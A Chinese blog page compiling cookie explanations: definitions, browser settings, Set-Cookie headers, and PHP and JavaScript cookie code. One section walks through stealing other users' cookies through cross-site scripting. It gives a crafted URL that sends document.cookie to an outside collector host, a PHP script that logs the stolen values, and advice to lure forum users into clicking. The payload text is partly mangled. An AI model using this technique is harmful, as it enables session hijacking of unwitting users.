- 浏览: 7339576 次
- 性别:
- 来自: 上海
文章分类
- 全部博客 (1546)
- 企业中间件 (236)
- 企业应用面临的问题 (236)
- 小布Oracle学习笔记汇总 (36)
- Spring 开发应用 (54)
- IBatis开发应用 (16)
- Oracle基础学习 (23)
- struts2.0 (41)
- JVM&ClassLoader&GC (16)
- JQuery的开发应用 (17)
- WebService的开发应用 (21)
- Java&Socket (44)
- 开源组件的应用 (254)
- 常用Javascript的开发应用 (28)
- J2EE开发技术指南 (163)
- EJB3开发应用 (11)
- GIS&Mobile&MAP (36)
- SWT-GEF-RCP (52)
- 算法&数据结构 (6)
- Apache开源组件研究 (62)
- Hibernate 学习应用 (57)
- java并发编程 (59)
- MySQL&Mongodb&MS/SQL (15)
- Oracle数据库实验室 (55)
- 搜索引擎的开发应用 (34)
- 软件工程师笔试经典 (14)
- 其他杂项 (10)
- AndroidPn& MQTT&C2DM&推技术 (29)
- ActiveMQ学习和研究 (38)
- Google技术应用开发和API分析 (11)
- flex的学习总结 (59)
- 项目中一点总结 (20)
- java疑惑 java面向对象编程 (28)
- Android 开发学习 (133)
- linux和UNIX的总结 (37)
- Titanium学习总结 (20)
- JQueryMobile学习总结 (34)
- Phonegap学习总结 (32)
- HTML5学习总结 (41)
- JeeCMS研究和理解分析 (9)
最新评论
-
lgh1992314:
[u][i][b][flash=200,200][url][i ...
看看mybatis 源代码 -
尼古拉斯.fwp:
图片根本就不出来好吧。。。。。。
Android文件图片上传的详细讲解(一)HTTP multipart/form-data 上传报文格式实现手机端上传 -
ln94223:
第一个应该用排它网关吧 怎么是并行网关, 并行网关是所有exe ...
工作流Activiti的学习总结(八)Activiti自动执行的应用 -
ZY199266:
获取不到任何消息信息,请问这是什么原因呢?
ActiveMQ 通过JMX监控Connection,Queue,Topic的信息 -
xiaoyao霄:
DestinationSourceMonitor 报错 应该导 ...
ActiveMQ 通过JMX监控Connection,Queue,Topic的信息
Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。定义于RFC2109(已废弃),最新取代的规范是RFC2965。Cookie最早是网景公司的前雇员Lou Montulli在1993年3月的发明。
Cookie是由服务器端生成,发送给User-Agent(一般是浏览器),浏览器会将 Cookie的key/value保存到某个目录下的文本文件内,下次请求同一网站时就发送该Cookie给服务器(前提是浏览器设置为启用 cookie)。Cookie名称和值可以由服务器端开发自己定义,对于JSP而言也可以直接写入jsessionid,这样服务器可以知道该用户是否合法用户以及是否需要重新登录等。
用途
服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。Cookies最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的功用。另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写入Cookies,以便在最后付款时提取信息。
使用和禁用Cookie
用户可以改变浏览器的设置,以使用或者禁用Cookies。
微软 Internet Explorer
工具 > Internet选项 > 隐私页
调节滑块或者点击“高级”,进行设置.
Mozilla Firefox
工具>选项>隐私
(注: 在Linux版本中,可能会是如下操作:编辑 > 属性 > 隐私 , 而Mac则是:Firefox > 属性 > 隐私)
设置Cookies选项
设定阻止/允许的各个域内Cookie
查看Cookies管理窗口,检查现存Cookie信息,选择删除或者阻止它们
苹果计算机 Safari
Safari > 预置 > 安全标签
选择以下的选项
总是 接受 Cookies
永不 接受 Cookies
接受 Cookies 仅从您浏览的站点 (例如,不接受来自其它站点的广告) 预设的选项.
您可以显示所有驻留在您浏览器中的 cookies,也可随时将它们之一删除。
NETSCAPE
“PREFERENCE\ADVANCED\COOKIES”,在出现的窗口中有三个选项,选择“DISABLECOOKIES”即可关闭COOKIE。在IE中,选择“查看”/“INTERNET选项”/“高级",在随后出现的窗口中找到 “COOKIES”一项,选择“禁止所有的COOKIE 使用”可关闭COOKIE。
[1][2]Konqueror
如果没有设置cookie列表,请记住在域名前面加入“.”,例如.baidu.org,否则百度将不会读取cookie(针对KDE 3.3)。
生存周期
Cookie可以保持登录信息到用户下次与服务器的会话,换句话说,下次访问同一网站时,用户会发现不必输入用户名和密码就已经登录了(当然,不排除用户手工删除Cookie)。而还有一些Cookie在用户退出会话的时候就被删除了,这样可以有效保护个人隐私。
识别功能
如果在一台计算机中安装多个浏览器,每个浏览器都会独立的空间存放cookie。因为cookie中不但可以确认用户,还能包含计算机和浏览器的信息,所以一个用户用不同的浏览器登录或者用不同的计算机登录,都会得到不同的cookie信息,另一方面,对于在同一台计算机上使用同一浏览器的多用户群,cookie不会区分他们的身份,除非他们使用不同的用户名登录。
反对cookies者
一些人反对cookie在网络中的应用,他们的理由如下:
识别不精确
参见上面的识别功能
隐私,安全和广告
Cookies在某种程度上说已经严重危及用户的隐私和安全。其中的一种方法是:一些公司的高层人员为了某种目的(譬如市场调研)而访问了从未去过的网站(通过搜索引擎查到的),而这些网站包含了一种叫做网页臭虫的图片,该图片透明,且只有一个象素大小(以便隐藏),它们的作用是将所有访问过此页面的计算机写入cookie。而后,电子商务网站将读取这些cookie信息,并寻找写入这些cookie的网站,随即发送包含了针对这个网站的相关产品广告的垃圾邮件给这些高级人员。
因为更具有针对性,使得这套系统行之有效,收到邮件的客户或多或少表现出对产品的兴趣。这些站点一旦写入cookie并使其运作,就可以从电子商务网站那里获得报酬,以维系网站的生存。
鉴于隐藏的危害性,瑞典已经通过对cookie立法,要求利用cookie的网站必须说明cookie的属性,并且指导用户如何禁用cookie。
偷窃Cookie和脚本攻击
尽管cookie没有病毒那么危险,但它仍包含了一些敏感信息:用户名,计算机名,使用的浏览器和曾经访问的网站。用户不希望这些内容泄漏出去,尤其是当其中还包含有私人信息的时候。
这并非危言耸听,一种名为Cross site scripting的工具可以达到此目的。在受到Cross site scripting攻击时,cookie盗贼和cookie毒药将窃取内容。一旦cookie落入攻击者手中,它将会重现其价值。
cookie盗贼:搜集用户cookie并发给攻击者的黑客。攻击者将利用cookie信息通过合法手段进入用户帐户。
cookie毒药:利用安全机制,攻击者加入代码从而改写cookie内容,以便持续攻击。
Cookies的替代品
鉴于cookie的局限和反对者的声音,有如下一些替代方法:
Brownie方案,是一项开放源代码工程,由SourceForge发起。Brownie曾被用以共享在不同域中的接入,而cookies则被构想成单一域中的接入。这项方案已经停止开发。
P3P,用以让用户获得更多控制个人隐私权利的协议。在浏览网站时,它类似于cookie。
在与服务器传输数据时,通过在地址后面添加唯一查询串,让服务器识别是否合法用户,也可以避免使用cookie。
cookie的具体含义
cookie 历来指就着牛奶一起吃的点心。然而,在因特网内,“cookie” 这个字有了完全不同的意思。那么“cookie”到底是什么呢?“Cookie”是小量信息,由网络服务器发送出来以存储在网络浏览器上,从而下次这位独一无二的访客又回到该网络服务器时,可从该浏览器读回此信息。这是很有用的,让浏览器记住这位访客的特定信息,如上次访问的位置、花费的时间或用户首选项(如样式表)。Cookie 是个存储在浏览器目录的文本文件,当浏览器运行时,存储在 RAM 中。一旦阁下从该网站或网络服务器退出,Cookie 也可存储在计算机的硬驱上。I3I.net的打算是,当访客结束其浏览器对话时,即终止I3I.net的所有 cookie。
Cookie 有哪些用途?
Cookie 的用途之一是存储用户在特定网站上的密码和 ID。另外,也用于存储起始页的首选项。在提供个人化查看的网站上,将要求阁下的网络浏览器利用阁下计算机硬驱上的少量空间来储存这些首选项。这样,每次阁下登录该网站时,阁下的浏览器将检查阁下是否就该唯一的服务器有任何预先定义的首选项(cookie)。如果有的话,浏览器将此 cookie 随阁下对网页的请求一起发送给服务器。Microsoft 和 Netscape 使用 cookie 在其网站上创建个人起始页。各家公司利用 cookie 的一般用途包括:在线定货系统、网站个人化和网站跟踪。
网站个人化是 cookie 最有益的用途之一。例如,当谁来到 CNN 网站,但并不想查看任何商务新闻。网站允许他将该项选为选项。从那时起(或者直到 cookie 逾期),他在访问 CNN 网页时将不会读到商务新闻。
这些 Cookie 是如何起作用的?
文档的 HTML 代码中的命令行告诉浏览器设置某一名称或数值的 cookie。以下是用来设置 cookie 脚本的一个普通实例。
Set-Cookie: name = VALUE;
expires = DATE;
path = PATH;
domain = DOMAIN_NAME;
那么安全性如何?HTTP Cookie 不能用来从阁下的硬驱上检索个人数据、放置病毒、得到阁下的电子邮件地址或偷窃有关阁下身份的敏感信息;然而,HTTP Cookie 可用来跟踪阁下在特定网站上的所到之处。不使用 cookie 就很难进行网站跟踪。
至于其他一切与因特网有关的事,如同阁下所希望的那样是匿名的。没有网站知道阁下是谁,除非阁下自己透露给网站。同时,cookie 只是为了更好地了解使用模式并改进网站访客的效率而采用的一个网站跟踪统计手段而已。
如果网站设计师旨在使网页能与访客更具互动作用,或者若设计师计划让访客自定义网站的外观,则就需要使用 cookie。而且,如果阁下想要网站在某些情况下改变其外观,cookie 则提供了一条快速、容易的途径,让阁下的 HTML 页面按需要而改变。最新型的服务器使用 cookie 有助于数据库的互动性,进而改进网站的整体互动性。
Cookie在英文中是小甜品的意思,而这个词我们总能在浏览器中看到,食品怎么会跟浏览器扯上关系呢?在你浏览以前登陆过的网站时可能会在网页中出现:你好XX,感觉很亲切,就好像是吃了一个小甜品一样。这其实是通过访问你主机里边的一个文件来实现的,因此这个文件也就被称为了Cookie。想全面了解Cookie吗?看看下文吧!
一.了解Cookie 适用对象:初级读者
Cookie是当你浏览某网站时,网站存储在你机器上的一个小文本文件,它记录了你的用户 ID,密码、浏览过的网页、停留的时间等信息,当你再次来到该网站时,网站通过读取Cookie,得知你的相关信息,就可以做出相应的动作,如在页面显示欢迎你的标语,或者让你不用输入ID、密码就直接登录等等。你可以在IE的“工具/Internet选项”的“常规”选项卡中,选择“设置/查看文件”,查看所有保存到你电脑里的Cookie。这些文件通常是以user@domain格式命名的,user是你的本地用户名,domain是所访问的网站的域名。如果你使用NetsCape浏览器,则存放在“C:\PROGRAMFILES\NETSCAPE\USERS\”里面,与IE不同的是,NETSCAPE是使用一个Cookie 文件记录所有网站的Cookies。
为了保证上网安全我们需要对Cookie进行适当设置。打开“工具/Internet选项”中的“隐私”选项卡(注意该设置只在IE6.0中存在,其他版本IE可以在“工具/Internet选项”的“安全”标签中单击“自定义级别”按钮,进行简单调整),调整Cookie的安全级别。通常情况,可以将滑块调整到“中高”或者“高”的位置。多数的论坛站点需要使用Cookie信息,如果你从来不去这些地方,可以将安全级调到“阻止所有Cookies”。如果只是为了禁止个别网站的Cookie,可以单击“编辑”按钮,将要屏蔽的网站添加到列表中。在“高级”按钮选项中,你可以对第一方Cookie和第三方的Cookie进行设置,第一方Cookie是你正在浏览的网站的Cookie,第三方 Cookie非正在浏览的网站发给你的Cookie,通常要对第三方Cookie选择“拒绝”,如图1。你如果需要保存Cookie,可以使用IE的“导入导出”功能,打开“文件/导入导出”,按提示操作即可。
Cookie中的内容大多数经过了加密处理,因此在我们看来只是一些毫无意义的字母数字组合,只有服务器的CGI处理程序才知道它们真正的含义。通过一些软件我们可以查看到更多的内容,使用Cookie Pal软件查看到的Cookie信息,如图2所示。它为我们提供了Server、Expires、Name、value等选项的内容。其中,Server 是存储Cookie的网站,Expires记录了Cookie的时间和生命期,Name和value字段则是具体的数据
二、Cookie的传递流程 适用对象:中级读者
当在浏览器地址栏中键入了Amazon的URL,浏览器会向Amazon发送一个读取网页的请求,并将结果在显示器上显示。这时该网页在你的电脑上寻找Amazon网站设置的Cookie文件,如果找到,浏览器会把Cookie文件中的数据连同前面输入的URL一同发送到Amazon服务器。服务器收到Cookie数据,就会在他的数据库中检索你的ID,你的购物记录、个人喜好等信息,并记录下新的内容,增加到数据库和Cookie文件中去。如果没有检测到Cookie或者你的Cookie信息与数据库中的信息不符合,则说明你是第一次浏览该网站,服务器的CGI程序将为你创建新的ID信息,并保存到数据库中。
Cookie是利用了网页代码中的HTTP头信息进行传递的,浏览器的每一次网页请求,都可以伴随Cookie传递,例如,浏览器的打开或刷新网页操作。服务器将Cookie添加到网页的HTTP头信息中,伴随网页数据传回到你的浏览器,浏览器会根据你电脑中的Cookie设置选择是否保存这些数据。如果浏览器不允许Cookie保存,则关掉浏览器后,这些数据就消失。Cookie在电脑上保存的时间是不一样的,这些都是由服务器的设置不同决定得。Cookie有一个Expires(有效期)属性,这个属性决定了Cookie的保存时间,服务器可以通过设定Expires字段的数值,来改变Cookie的保存时间。如果不设置该属性,那么Cookie只在浏览网页期间有效,关闭浏览器,这些 Cookie自动消失,绝大多数网站属于这种情况。通常情况下,Cookie包含Server、Expires、Name、value这几个字段,其中对服务器有用的只是Name和value字段,Expires等字段的内容仅仅是为了告诉浏览器如何处理这些Cookies。
三、Cookie的编程实现 适用对象:高级读者
多数网页编程语言都提供了对Cookie的支持。如javascript、VBScript、 Delphi、ASP、SQL、PHP、C#等。在这些面向对象的编程语言中,对Cookie的编程利用基本上是相似的,大体过程为:先创建一个 Cookie对象(Object),然后利用控制函数对Cookie进行赋值、读取、写入等操作。那么如何通过代码来获取其他用户Cookie中的敏感信息?下面进行简单的介绍。
该方法主要有两步,首先要定位你需要收集Cookie的网站,并对其进行分析,并构造URL;然后编制收集Cookie的PHP代码,并将其放到你可以控制的网站上,当不知情者单击了你构造的URL后可以执行该PHP代码。下面我们看具体的实现过程。
1.分析并构造URL
首先打开我们要收集Cookie的网站,这里假设是 http://www.XXX.net,登陆网站输入用户名“”(不含引号),对数据进行分析抓包,得到形如“http://www.XXX.net /txl/login/login....x=28&ok.y=6”的代码,将“”更换为“”再试;如果执行成功,就开始构造 URL:“http://www.cbifamily.org /cbi.php?\"%2Bdocuments.cookie)&passwd=&ok.x=28&ok.y=6" target="_blank">http://www.XXX.net/txl/login/log ;... swd=&ok.x=28&ok.y=6”。其中http:///www.cbifamily.org/cbi.php就是你能够控制的某台主机上的一个脚本。需要注意的是“%2B”为符号“+”的URL编码,因为“+”将被作为空格处理。该URL就可以在论坛中发布,诱使别人点击了。
2.编制PHP脚本
该脚本的作用就是收集Cookie文件,具体内容如下:
$info = getenv("QUERY_STRING";
if ($info) {
$fp = fopen("info.txt","a";
fwrite($fp,$info."\n";
fclose($fp);
}
header("Location: http://www.XXX.net\";
?>
四、Cookie的安全问题 适用对象:所有希望上网安全的读者
1.Cookie欺骗
Cookie记录着用户的帐户ID、密码之类的信息,如果在网上传递,通常使用的是MD5方法加密。这样经过加密处理后的信息,即使被网络上一些别有用心的人截获,也看不懂,因为他看到的只是一些无意义的字母和数字。然而,现在遇到的问题是,截获Cookie的人不需要知道这些字符串的含义,他们只要把别人的Cookie向服务器提交,并且能够通过验证,他们就可以冒充受害人的身份,登陆网站。这种方法叫做Cookie欺骗。Cookie欺骗实现的前提条件是服务器的验证程序存在漏洞,并且冒充者要获得被冒充的人的Cookie信息。目前网站的验证程序要排除所有非法登录是非常困难的,例如,编写验证程序使用的语言可能存在漏洞。而且要获得别人Cookie是很容易的,用支持Cookie的语言编写一小段代码就可以实现(具体方法见三),只要把这段代码放到网络里,那么所有人的Cookie都能够被收集。如果一个论坛允许HTML代码或者允许使用Flash标签就可以利用这些技术收集 Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可以收集到大量的Cookie。在论坛上,有许多人的密码就被这种方法盗去的。至于如何防范,目前还没有特效药,我们也只能使用通常的防护方法,不要在论坛里使用重要的密码,也不要使用IE自动保存密码的功能,以及尽量不登陆不了解底细的网站。
2.Flash的代码隐患
Flash中有一个getURL()函数,Flash可以利用这个函数自动打开指定的网页。因此它可能把你引向一个包含恶意代码的网站。打个比方,当你在自己电脑上欣赏精美的Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面。这个页面可以收集你的Cookie、也可以做一些其他的事情,比如在你的机器上种植木马甚至格式化你的硬盘等等。对于Flash的这种行为,网站是无法禁止的,因为这是Flash文件的内部行为。我们所能做到的,如果是在本地浏览尽量打开防火墙,如果防火墙提示的向外发送的数据包并不为你知悉,最好禁止。如果是在Internet上欣赏,最好找一些知名的大网站。
Cookie是怎样工作的?
要了解Cookie,必不可少地要知道它的工作原理。一般来说,Cookie通过HTTP Headers从服务器端返回
到浏览器上。首先,服务器端在响应中利用Set-Cookie header来创建一个Cookie ,然后,浏览器在它的请
求中通过Cookie header包含这个已经创建的Cookie,并且反它返回至服务器,从而完成浏览器的论证。
例如,我们创建了一个名字为login的Cookie来包含访问者的信息,创建Cookie时,服务器端的Header
如下面所示,这里假设访问者的注册名是“Michael Jordan”,同时还对所创建的Cookie的属性如path、
domain、expires等进行了指定。
Set-Cookie:login=Michael Jordan;path=/;domain=msn.com;
expires=Monday,01-Mar-99 00:00:01 GMT
上面这个Header会自动在浏览器端计算机的Cookie文件中添加一条记录。浏览器将变量名为“login”
的Cookie赋值为“Michael Jordon”。注意,在实际传递过程中这个Cookie的值是经过了URLEncode方法的
URL编码操作的。 这个含有Cookie值的HTTP Header被保存到浏览器的Cookie文件后,Header就通知浏览器
将Cookie通过请求以忽略路径的方式返回到服务器,完成浏览器的认证操作。
此外,我们使用了Cookie的一些属性来限定该Cookie的使用。例如Domain属性能够在浏览器端对Cookie
发送进行限定,具体到上面的例子,该Cookie只能传达室到指定的服务器上,而决不会跑到其他的如
www.hp.com的Web站点上去。Expires属性则指定了该Cookie保存的时间期限,例如上面的Cookie在浏览器上
只保存到1999年3月1日1秒。当然,如果浏览器上Cookie 太多,超过了系统所允许的范围,浏览器将自动对
它进行删除。至于属性Path,用来指定Cookie将被发送到服务器的哪一个目录路径下。
说明:浏览器创建了一个Cookie后,对于每一个针对该网站的请求,都会在Header中带着这个Cookie;
不过,对于其他网站的请求Cookie是绝对不会跟着发送的。而且浏览器会这样一直发送,直到Cookie过期为止。
上一部分讲了有关Cookie的技术背景,这部分来说说在PHP里如何设置、使用、删除Cookie,及Cookie
的一些限制。PHP对Cookie支持是透明的,用起来非常方便。
设置Cookie
PHP用SetCookie函数来设置Cookie。必须注意的一点是:Cookie是HTTP协议头的一部分,用于浏览器和
服务器之间传递信息,所以必须在任何属于HTML文件本身的内容输出之前调用Cookie函数。SetCookie 函数
定义了一个Cookie,并且把它附加在HTTP头的后面,SetCookie函数的原型如下:
int SetCookie(string name, string value, int expire, string path, string domain, int secure);
除了name之外所有的参数都是可选的。value,path,domain 三个参数可以用空字符串代换,表示没有设
置;expire和 secure两个参数是数值型的,可以用0表示。expire参数是一个标准的Unix时间标记,可以用
time()或mktime() 函数取得,以秒为单位。secure参数表示这个Cookie是否通过加密的HTTPS协议在网络上
传输。
当前设置的Cookie 不是立即生效的,而是要等到下一个页面时才能看到.这是由于在设置的这个页面里
Cookie由服务器传递给客户浏览器,在下一个页面浏览器才能把Cookie从客户的机器里取出传回服务器的原
因。在同一个页面设置Cookie,实际是从后往前,所以如果要在插入一个新的Cookie之前删掉一个,你必须
先写插入的语句,再写删除的语句,否则可能会出现不希望的结果。
来看几个例子:
简单的:
SetCookie("MyCookie", "Value of MyCookie");
带失效时间的:
SetCookie("WithExpire", "Expire in 1 hour", time()+3600);//3600秒=1小时
什么都有的:
SetCookie("FullCookie", "Full cookie value", time()+3600, "/forum", ".phpuser.com", 1);
这里还有一点要说明的,比如你的站点有几个不同的目录,那么如果只用不带路径的Cookie的话,在一
个目录下的页面里设的Cookie在另一个目录的页面里是看不到的,也就是说,Cookie是面向路径的。实际上,
即使没有指定路径,WEB 服务器会自动传递当前的路径给浏览器的,指定路径会强制服务器使用设置的路径。
解决这个问题的办法是在调用SetCookie时加上路径和域名,域名的格式可以是“www.phpuser.com”,也可
是“.phpuser.com”。
SetCookie函数里表示value的部分,在传递时会自动被encode,也就是说,如果value的值是“test
value”在传递时就变成了“test%20value”,跟URL的方法一样。当然,对于程序来说这是透明的,因为在
PHP接收Cookie的值时会自动将其decode。
如果要设置同名的多个Cookie,要用数组,方法是:
SetCookie("CookieArray[]", "Value 1");
SetCookie("CookieArray[]", "Value 2");
或
SetCookie("CookieArray[0]", "Value 1");
SetCookie("CookieArray[1]", "Value 2");
接收和处理Cookie
PHP对Cookie的接收和处理的支持非常好,是完全自动的,跟FORM变量的原则一样,特别简单。比如设
置一个名为MyCookier的Cookie,PHP会自动从WEB服务器接收的HTTP头里把它分析出来,并形成一个与普通
变量一样的变量,名为$myCookie,这个变量的值就是Cookie的值。数组同样适用。另外一个办法是引用PHP
的全局变量$HTTP_COOKIE_VARS数组。
分别举例如下:(假设这些都在以前的页面里设置过了,并且仍然有效)
echo $MyCookie;
echo $CookieArray[0];
echo count($CookieArray);
echo $HTTP_COOKIE_VARS["MyCookie"];
就这么简单。
如何删除Cookie
要删除一个已经存在的Cookie,有两个办法:
一是调用只带有name参数的SetCookie,那么名为这个name的Cookie 将被从关系户机上删掉;另一个办
法是设置Cookie的失效时间为time()或time()-1,那么这个Cookie在这个页面的浏览完之后就被删除了(其
实是失效了)。
要注意的是,当一个Cookie被删除时,它的值在当前页在仍然有效的。
Javascript. 读cookie
/**************************************************
参数说明:
sMainName Cookie名
sSubName Cookie子键名,留空表示单值Cookie
**************************************************/
function GetCookie(sMainName, sSubName)
{
var re = new RegExp((sSubName ? sMainName + "=(.*?&)*?" + sSubName + "=(.*?)(&|;|$)" : sMainName + "=(.*?);"),"i");
return re.test(unescape(document.cookie)) ? (sSubName ? RegExp["$2"] : RegExp["$1"]) : "";
}
由于asp的cookie是经过url编码的,所以读之前要unescape一下。
发表评论
-
JUnit4.1源代码分析
2013-11-19 17:16 2371用JUnit4进行测试有两种方式分别是: (1)、命令 ... -
TestNG参数化测试之支持数据对象
2013-11-19 12:55 1747Junit4与TestNG对比 ... -
深入JUnit源码之Statement
2013-11-19 10:39 2467转载自: http://www.blogjava.net/ ... -
Junit4参数化测试
2013-11-15 17:25 1887现有这样 ... -
SWTBot中junit4通知RunNotifier的使用
2013-11-15 17:20 1651在junit4中的监听接口为Run ... -
[转] J2EE集群原理
2013-07-23 09:57 4536J2EE集群原理 什么是集群呢?总的来说,集群包括两个概念 ... -
实现ireport的JRDataSource接口的想法
2013-05-02 17:13 9517在使用Ireport的时候, ... -
[转]一次 applet 客户端打印 jasperreport 报表任务笔记
2013-05-02 16:31 2565一次 applet 客户端打印 jasperreport ... -
jasperreports报表Flash展现
2013-05-02 15:44 4656jasperreports在web上的报表展现方式有 ... -
Thrift与其他传输方式的比较
2013-04-03 12:15 27542Thrift 是什么? Thrift源于大名鼎鼎的fac ... -
【转】使用Atomikos Transactions Essentials实现多数据源JTA分布式事务
2013-04-03 12:11 6794Atomikos数据源配置方法有三种 Atomikos数 ... -
【转】Apache Thrift入门1-架构&介绍
2013-04-02 13:26 2039Thrift 是什么? Thrift ... -
【转】Thrift入门试用
2013-04-02 12:39 2182在新的项目中公司在平台内部系统间使用Thrift通讯,都没 ... -
【转】thrift的安装
2013-04-02 12:38 2092一、ubuntu下thrift的安装 1.下载源代码 ... -
[转]EJB3.0中的依赖注入,截获器及其在WebLogic Server 10中的扩展
2013-03-02 13:21 23241 前言 与EJB2.1相比,EJB3.0规范引入了两个重要 ... -
[转]通过struts2-ejb3-plugin把Struts2与EJB3.0整合
2013-03-02 13:01 2292本文是讲述使用struts2- ... -
jna使用入门
2012-12-20 14:39 2581JNA(Java Native Access )提供一 ... -
eclipse相关的问题
2012-12-12 11:01 1579打开eclipse后显示Error: co ... -
java并发编程实践笔记
2012-11-28 15:03 1567java并发编程实践笔记 ... -
java中 避免过多的使用同步
2012-11-22 15:41 2249避免过多的使用同步 ...
相关推荐
【安徽机电职业技术学院Web应用程序设计试题详解】 在深入探讨Web应用程序设计的相关知识点之前,首先要明白这一领域的核心是利用各种编程语言和技术,构建交互式的、基于Web的系统和应用。安徽机电职业技术学院的...
【ASP.NET Web应用程序设计教程详解】 ASP.NET是微软公司推出的一种用于构建动态Web应用程序的框架,它基于.NET Framework,提供了一种高效、易用且功能强大的开发环境。本教程将深入探讨ASP.NET Web应用程序设计的...
IIS(Internet Information Services)是Windows操作系统中的一个核心组件,主要用于托管Web应用程序。在IIS中,应用程序池(Application Pool)是一个逻辑容器,用于隔离运行不同应用程序的进程,以确保一个应用的...
- **Servlet**:Java Web应用程序的核心组件,用于处理HTTP请求并生成响应。 - **JSP(JavaServer Pages)**:一种动态网页技术,将Java代码嵌入到HTML中,简化了界面和业务逻辑的分离。 - **MVC(Model-View-...
【标题】"揭秘Web应用程序攻击技术"是一本深入探讨网络安全领域的专著,主要关注Web应用程序面临的各种威胁和攻击。源代码rar文件包含了作者为解释这些攻击技术所编写的示例代码,供读者学习和理解。 【描述】该...
* 实现 Web 应用程序的连续性(即执行状态管理) * 帮助应用程序确定如何继续执行 * 可以实现多种目的,例如记住用户的浏览历史、购物车信息、用户登录信息等 Cookie 的限制: * 大多数浏览器支持最大为 4096 字节...
这些框架提供了组件化开发、路由、状态管理等功能,帮助开发者构建复杂的单页应用程序(SPA)。 8. **响应式设计**:随着移动设备的普及,响应式设计成为必须。它确保网站在不同屏幕尺寸和设备上都能良好显示。...
《Web应用程序设计(ASP.NET)期末考试题目解析》 在Web开发领域,ASP.NET作为Microsoft提供的强大框架,被广泛应用于构建高效、动态的Web应用程序。本篇内容将围绕20周Web应用程序设计(ASP.NET)试卷A卷进行深入剖析...
在开发Web应用程序时,安全性是至关重要的。由于Web应用程序通常面向公众开放,因此存在多种潜在的安全威胁。开发者需要了解这些威胁并采取适当的措施来保护应用程序。以下是几种常见的威胁: 1. **电子欺骗**:...
在Web应用程序中,Cookie和Session机制都是非常重要的技术,开发者需要了解这些技术的原理和优缺点,以便更好地使用它们来跟踪用户的会话。 在本文中,我们详细地讲述了Cookie和Session机制的原理和优缺点,并比较...
本文档提供了《黑客攻防技术宝典:Web实战篇》一书第二版中的习题答案,涵盖了Web应用程序安全、核心防御机制、会话管理、访问控制、输入确认、跨站点脚本攻击、Web应用程序技术、状态码、SSL和代理服务器等多个方面...
为了实现页面之间的状态信息安全传递,本文探讨了如何利用Cookie技术进行Web认证状态的保持,并对其安全性进行了深入分析。 #### Cookie技术概览 **Cookie**是一种小型的数据文件,由服务器端生成后发送给客户端...
### 关于Java应用Cookie知识点详解 #### 一、Cookie简介 Cookie是一种常用的技术,用于存储用户的访问信息。在Web开发中,服务器可以将少量的信息发送到客户端...这些知识点对于开发基于Java的Web应用程序非常重要。
6. **安全性**:ASP.NET提供身份验证、授权、角色管理和状态管理等功能,确保Web应用程序的安全性。 7. **AJAX支持**:ASP.NET AJAX扩展允许创建部分页面更新的应用程序,提升用户体验,同时降低了服务器负载。 8....
这些框架提供了组件化开发、虚拟DOM、状态管理等高级特性,帮助开发者构建复杂的单页应用程序(SPA)。 **Web API与Web存储** Web API允许JavaScript与浏览器外的资源进行交互,如获取地理位置、访问本地文件系统...
ASP.NET是一种由微软开发的服务器端Web应用程序框架,用于构建动态网站、Web应用和Web服务。在这个基于WEB的作业管理系统中,ASP.NET扮演着核心角色,提供了一套完整的工具和库,使得开发者可以高效地构建功能丰富的...
### j2ee实验二:学习使用Session和Cookie #### 实验背景与目标 在现代Web应用开发中,理解和掌握会话管理和用户...此外,通过实践操作加深了对B/S架构的理解,为将来进一步探索复杂的Web应用程序打下了坚实的基础。
ASP.NET提供了多个内置对象来帮助开发者更高效地编写Web应用程序。这七个内置对象分别是: - **Page**:代表当前页面的对象,提供了与页面生命周期和事件处理相关的方法和属性。 - **Response**:用于向客户端发送...
《Tomcat与Java+Web开发技术详解》这本书深入探讨了使用Tomcat服务器进行Java Web应用程序开发的核心技术。Tomcat作为一款轻量级的Java Servlet容器,是许多开发者首选的平台,因为它易于配置、运行高效,并且与Java...